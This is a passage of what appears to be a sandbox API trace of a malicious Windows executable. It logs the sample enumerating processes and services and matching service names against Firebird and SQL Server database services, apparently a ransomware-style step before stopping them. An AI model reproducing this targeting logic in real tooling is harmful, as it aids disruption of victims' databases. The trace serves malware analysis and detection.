szExeFile="tips.exe")) returned 1 [0199.007] lstrlenW (lpString="tips.exe") returned 8 [0199.007] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rhode_cow.exe")) returned 1 [0199.008] lstrlenW (lpString="rhode_cow.exe") returned 13 [0199.008] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="discount.exe")) returned 1 [0199.008] lstrlenW (lpString="discount.exe") returned 12 [0199.008] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="littleclosest.exe")) returned 1 [0199.009] lstrlenW (lpString="littleclosest.exe") returned 17 [0199.009] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compact.exe")) returned 1 [0199.010] lstrlenW (lpString="compact.exe") returned 11 [0199.010] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="transmission-inclusion.exe")) returned 1 [0199.010] lstrlenW (lpString="transmission-inclusion.exe") returned 26 [0199.010] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mcdonald-drugs-employers.exe")) returned 1 [0199.011] lstrlenW (lpString="mcdonald-drugs-employers.exe") returned 28 [0199.011] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="harris promoting wow.exe")) returned 1 [0199.217] lstrlenW (lpString="harris promoting wow.exe") returned 24 [0199.217] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="vincentkills.exe")) returned 1 [0199.218] lstrlenW (lpString="vincentkills.exe") returned 16 [0199.218] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="armstrong.exe")) returned 1 [0199.219] lstrlenW (lpString="armstrong.exe") returned 13 [0199.219] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="superb_guilty.exe")) returned 1 [0199.219] lstrlenW (lpString="superb_guilty.exe") returned 17 [0199.219] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditional employer.exe")) returned 1 [0199.220] lstrlenW (lpString="conditional employer.exe") returned 24 [0199.220] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middle shown.exe")) returned 1 [0199.221] lstrlenW (lpString="middle shown.exe") returned 16 [0199.221] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forced_online.exe")) returned 1 [0199.221] lstrlenW (lpString="forced_online.exe") returned 17 [0199.221] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="knitting.exe")) returned 1 [0199.222] lstrlenW (lpString="knitting.exe") returned 12 [0199.222] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counting_rankings_maternity.exe")) returned 1 [0199.223] lstrlenW (lpString="counting_rankings_maternity.exe") returned 31 [0199.223] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephony_assumption_pharmacies.exe")) returned 1 [0199.223] lstrlenW (lpString="telephony_assumption_pharmacies.exe") returned 35 [0199.223] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance inns helpful.exe")) returned 1 [0199.224] lstrlenW (lpString="guidance inns helpful.exe") returned 25 [0199.224] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.225] lstrlenW (lpString="svchost.exe") returned 11 [0199.225] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0199.226] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0199.226] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0199.227] lstrlenW (lpString="conhost.exe") returned 11 [0199.227] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0199.228] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0199.228] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0199.229] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0199.229] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0199.229] lstrlenW (lpString="WMIADAP.exe") returned 11 [0199.229] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xb04, pcPriClassBase=8, dwFlags=0x0, szExeFile="11.exe")) returned 1 [0199.230] lstrlenW (lpString="11.exe") returned 6 [0199.230] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0199.231] lstrlenW (lpString="cmd.exe") returned 7 [0199.231] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0199.232] lstrlenW (lpString="conhost.exe") returned 11 [0199.232] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0199.232] CloseHandle (hObject=0x318) returned 1 [0199.232] Sleep (dwMilliseconds=0x1f4) [0199.746] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x889868 [0199.746] EnumServicesStatusExW (in: hSCManager=0x889868, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 0 [0199.747] GetLastError () returned 0xea [0199.747] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1e4a) returned 0x7fea38 [0199.747] EnumServicesStatusExW (in: hSCManager=0x889868, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7fea38, cbBufSize=0x1e4a, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7fea38, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 1 [0199.748] CloseServiceHandle (hSCObject=0x889868) returned 1 [0199.748] lstrlenW (lpString="Appinfo") returned 7 [0199.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0199.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0199.748] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0199.748] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0199.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0199.748] lstrlenW (lpString="AppXSvc") returned 7 [0199.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0199.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0199.748] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0199.748] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0199.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0199.748] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0199.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0199.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0199.748] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0199.748] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0199.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0199.748] lstrlenW (lpString="Audiosrv") returned 8 [0199.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0199.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0199.748] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0199.748] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0199.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0199.749] lstrlenW (lpString="BFE") returned 3 [0199.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0199.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0199.749] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0199.749] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0199.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0199.749] lstrlenW (lpString="BITS") returned 4 [0199.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0199.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0199.749] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0199.749] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0199.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0199.749] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0199.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0199.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0199.749] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0199.749] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0199.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0199.749] lstrlenW (lpString="CDPSvc") returned 6 [0199.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0199.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0199.749] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0199.749] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0199.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0199.749] lstrlenW (lpString="ClickToRunSvc") returned 13 [0199.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0199.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0199.749] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0199.749] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0199.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0199.749] lstrlenW (lpString="ClipSVC") returned 7 [0199.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0199.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0199.749] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0199.749] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0199.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0199.749] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0199.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0199.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0199.750] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0199.750] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0199.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0199.750] lstrlenW (lpString="CryptSvc") returned 8 [0199.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0199.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0199.750] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0199.750] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0199.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0199.750] lstrlenW (lpString="DcomLaunch") returned 10 [0199.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0199.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0199.750] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0199.750] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0199.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0199.750] lstrlenW (lpString="Dhcp") returned 4 [0199.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0199.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0199.750] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0199.750] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0199.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0199.750] lstrlenW (lpString="Dnscache") returned 8 [0199.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0199.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0199.750] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0199.750] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0199.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0199.750] lstrlenW (lpString="DoSvc") returned 5 [0199.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0199.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0199.750] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0199.750] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0199.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0199.750] lstrlenW (lpString="DPS") returned 3 [0199.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0199.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0199.750] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0199.750] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0199.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0199.751] lstrlenW (lpString="DusmSvc") returned 7 [0199.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0199.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0199.751] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0199.751] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0199.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0199.751] lstrlenW (lpString="EventLog") returned 8 [0199.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0199.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0199.751] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0199.751] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0199.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0199.751] lstrlenW (lpString="EventSystem") returned 11 [0199.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0199.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0199.751] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0199.751] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0199.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0199.751] lstrlenW (lpString="FontCache") returned 9 [0199.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0199.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0199.751] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0199.751] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0199.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0199.751] lstrlenW (lpString="gpsvc") returned 5 [0199.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0199.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0199.751] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0199.751] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0199.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0199.751] lstrlenW (lpString="iphlpsvc") returned 8 [0199.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0199.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0199.751] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0199.751] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0199.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0199.752] lstrlenW (lpString="KeyIso") returned 6 [0199.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0199.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0199.752] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0199.752] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0199.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0199.752] lstrlenW (lpString="LanmanServer") returned 12 [0199.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0199.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0199.752] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0199.752] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0199.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0199.752] lstrlenW (lpString="LanmanWorkstation") returned 17 [0199.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0199.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0199.752] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0199.752] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0199.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0199.752] lstrlenW (lpString="lfsvc") returned 5 [0199.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0199.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0199.752] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0199.752] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0199.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0199.752] lstrlenW (lpString="LicenseManager") returned 14 [0199.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0199.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0199.752] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0199.753] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0199.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0199.753] lstrlenW (lpString="lmhosts") returned 7 [0199.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0199.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0199.753] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0199.753] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0199.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0199.753] lstrlenW (lpString="LSM") returned 3 [0199.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0199.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0199.753] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0199.753] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0199.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0199.753] lstrlenW (lpString="MpsSvc") returned 6 [0199.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0199.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0199.753] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0199.753] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0199.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0199.753] lstrlenW (lpString="NcbService") returned 10 [0199.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0199.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0199.753] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0199.753] lstrcmpiW (lpString1="mssqlserver", 